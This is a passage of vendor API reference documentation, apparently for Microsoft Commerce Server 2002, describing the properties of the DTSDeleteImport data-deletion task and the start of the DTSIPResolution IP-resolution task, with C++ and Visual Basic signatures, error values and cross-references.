[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the DeleteType property is set to 1 and the WebLogDeleteType property is set to 0, then set this property to the number of previous days, weeks, or months for which you want to keep log files. If the Interval property is set to months and the Count property is set to 1, all imports created more than one month ago will be deleted.

If the DeleteType property is set to 1 and the WebLogDeleteType property is set to 1, then set this property to the number of most recently created files in the Data Warehouse that you want to keep. If the Count property is set to 5, only the five most recent files will be kept, older files will be deleted.

If the DeleteType property is set to 1 and the WebLogDeleteType property is set to 2, then the Count property is not used.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel Property [C++]

DTSDeleteImport.DeleteLevel Property [Visual Basic]

The DeleteLevel property is a read/write Long that determines if all data is deleted, or if only detail data is deleted.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_DeleteLevel(
 long DeleteLevel
);

Put method:

HRESULT _DTSDeleteImport::put_DeleteLevel(
 long DeleteLevel
);
[Visual Basic]
Property DeleteLevel() As Long

Parameters

DeleteLevel [C++]
[out] When getting a property, a long that determines if all data is deleted, or if only detail data is deleted.
[in] When putting a property, a long that determines if all data is deleted, or if only detail data is deleted.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The DeleteLevel property is only used if the DeleteType property is set to 1 (Web Log Import Delete). If the Delete Level property is set to 1, all data will be deleted; if it is set to 0, only detail data will be deleted. The default value is 0.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_DeleteType, put_DeleteType Property [C++]

DTSDeleteImport.DeleteType Property [Visual Basic]

The DeleteType property is a read/write Long. Use this property to specify whether to delete all data from the Data Warehouse or to delete only the specified log files.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_DeleteType(
 long DeleteType
);

Put method:

HRESULT _DTSDeleteImport::put_DeleteType(
 long DeleteType
);
[Visual Basic]
Property DeleteType() As Long

Parameters

DeleteType [C++]
[in] When putting a property, a long that determines if all data will be deleted from the Data Warehouse, or if only Web Log Import data will be deleted from the Data Warehouse.
[out] When getting a property, a long that determines if all data will be deleted from the Data Warehouse, or if only Web Log Import data will be deleted from the Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When the DeleteType property is set to 0, all data will be deleted from the Data Warehouse. When the DeleteType property is set to 1, only Web Log Import data will be deleted. The default value is 1.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_Interval, put_Interval Property [C++]

DTSDeleteImport.Interval Property [Visual Basic]

The Interval property is a read/write Long used to specify a unit of time.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_Interval(
 long Interval
);

Put method:

HRESULT _DTSDeleteImport::put_Interval(
 long Interval
);
[Visual Basic]
Property Interval() As Long

Parameters

Interval [C++]
[out] When getting a property, a long used to specify a unit of time.
[in] When putting a property, a long used to specify a unit of time.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Interval property is only used if the DeleteType property is set to 1 and the WebLogDeleteType property is set to 0. The valid values for the Interval property are 0 for days, 1 for weeks, 2 for months, and 3 for years.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_ListofLogs, put_ListofLogs Property [C++]

DTSDeleteImport.ListofLogs Property [Visual Basic]

The ListofLogs property is a read/write String used to specify the log files to be deleted.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_ListofLogs(
 BSTR ListofLogs
);

Put method:

HRESULT _DTSDeleteImport::put_ListofLogs(
 BSTR ListofLogs
);
[Visual Basic]
Property ListofLogs() As String

Parameters

ListofLogs [C++]
[out] When getting a property, a String used to specify the log files to be deleted.
[in] When putting a property, a String used to specify the log files to be deleted.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The ListofLogs property is only used if the DeleteType property is set to 1 and the WebLogDeleteType property is set to 2.

The list of log files should contain a comma-separated list of log file IDs or task IDs to be deleted, for example: "1000,1001,1003."

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_NumRetries, put_NumRetries Property [C++]

DTSDeleteImport.NumRetries Property [Visual Basic]

The NumRetries property is a read/write Long that specifies the number of retry attempts to be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSDeleteImport::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries [C++]
[out,retval] When getting the property, a long used to specify the number of retry attempts after a SQL connection/query failure.
[in] When putting the property, a long used to specify the number of retry attempts after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_RetryInterval, put_RetryInterval Property [C++]

DTSDeleteImport.RetryInterval Property [Visual Basic]

The RetryInterval property is a read/write Long that specifies the amount of time that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSDeleteImport::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval [C++]
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
[in] When putting the property, a long that contains the number of seconds between retry attempts.
None. [Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0. The maximum value is 3600. The default value is 30.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_SourceName, put_SourceName Property [C++]

DTSDeleteImport.SourceName Property [Visual Basic]

The SourceName property is a read/write Variant that specifies the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_SourceName(
 VARIANT SourceName
);

Put method:

HRESULT _DTSDeleteImport::put_SourceName(
 VARIANT SourceName
);
[Visual Basic]
Property SourceName() As Variant

Parameters

SourceName [C++]
[in] When putting the property, a VARIANT that contains the name of the Data Warehouse or Web site.
[out,retval] When getting the property, a VARIANT that contains the name of the Data Warehouse or Web site.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_SourceType, put_SourceType Property [C++]

DTSDeleteImport.SourceType Property [Visual Basic]

The SourceType property is a read/write Long that specifies the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_SourceType(
 long SourceType
);

Put method:

HRESULT _DTSDeleteImport::put_SourceType(
 long SourceType
);
[Visual Basic]
Property SourceType() As Long

Parameters

SourceType[C++]
[out, retval] When getting the property, a long that contains the type of source.
[in] When putting the property, a long that contains the type of source.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType Property [C++]

DTSDeleteImport.WebLogDeleteType Property [Visual Basic]

The WebLogDeleteType property is a read/write Long that specifies the type of delete to be completed.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_WebLogDeleteType(
 long WebLogDeleteType
);

Put method:

HRESULT _DTSDeleteImport::put_WebLogDeleteType(
 long WebLogDeleteType
);
[Visual Basic]
Property WebLogDeleteType() As Long

Parameters

WebLogDeleteType [C++]
[out] When getting a property, a long that specifies the type of delete to be completed.
[in] When putting a property, a long that specifies the type of delete to be completed.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The WebLogDeleteType property is only used if the DeleteType property is set to 1 (Web Log Import Delete).

If the WebLogDeleteType property is set to 0, Web log files older than the date specified by the Interval property will be deleted. If the WebLogDeleteType property is set to 1, the Web log files older than the number specified by the Count property will be deleted. If the WebLogDeleteType property is set to 2, the Web log files specified by the ListofLogs property will be deleted. The default value is 2.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType


DTSIPResolution Object [C++]

DTSIPResolution Object [Visual Basic]

Use this object to resolve Internet Protocol (IP) addresses from the imported user data. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the IP resolution DTS task, see Scripting the IP Resolution DTS Task.

ProgID: | Commerce.DTSIPResolution (Externally creatable)
COM Class Name: | DTSIPResolution
Type Library Name: | Microsoft Commerce 2002 IP Resolution DTS Task Type Library
DLL Name: | CSDWDTSIpResolution.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSIPResolution
Interface ID Constant: | None
Header File: | None

Properties

[C++]
Property | Type | Description
BatchSize | Long | The number of batched IP addresses that will be transferred to your Domain Name Server (DNS). This property is read/write.
LocalDomainName | BSTR | The local domain name of the DNS used as the primary server that resolves IP addresses. This property is read/write.
Ncache | long | The number of days to store resolved IP addresses. This property is read/write.
NumRetries | long | The number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | The number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
TimeOut | long | The number of seconds the DNS server will be searched before an IP address is marked as unresolved. This property is read/write.
[Visual Basic]
Property | Type | Description
BatchSize | Long | The number of batched IP addresses that will be transferred to your Domain Name Server (DNS). This property is read/write.
LocalDomainName | String | The local domain name of the DNS used as the primary server that resolves IP addresses. This property is read/write.
Ncache | Long | The number of days to store resolved IP addresses. This property is read/write.
NumRetries | Long | The number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | Long | The number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
TimeOut | Long | The number of seconds the DNS server will be searched before an IP address is marked as unresolved. This property is read/write.

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

See Also

Scripting the IP Resolution DTS Task

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSLogImport Object

DTSPostImport Object

DTSSynchAdminData Object

DTSTransactionImport Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSLogImport Object

DTSPostImport Object

DTSSynchAdminData Object

DTSTransactionImport Object


_DTSIPResolution Methods [C++]

DTSIPResolution Methods [Visual Basic]

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSIPResolution::CustomTask_Execute Method [C++]

DTSIPResolution.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSIPResolution::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

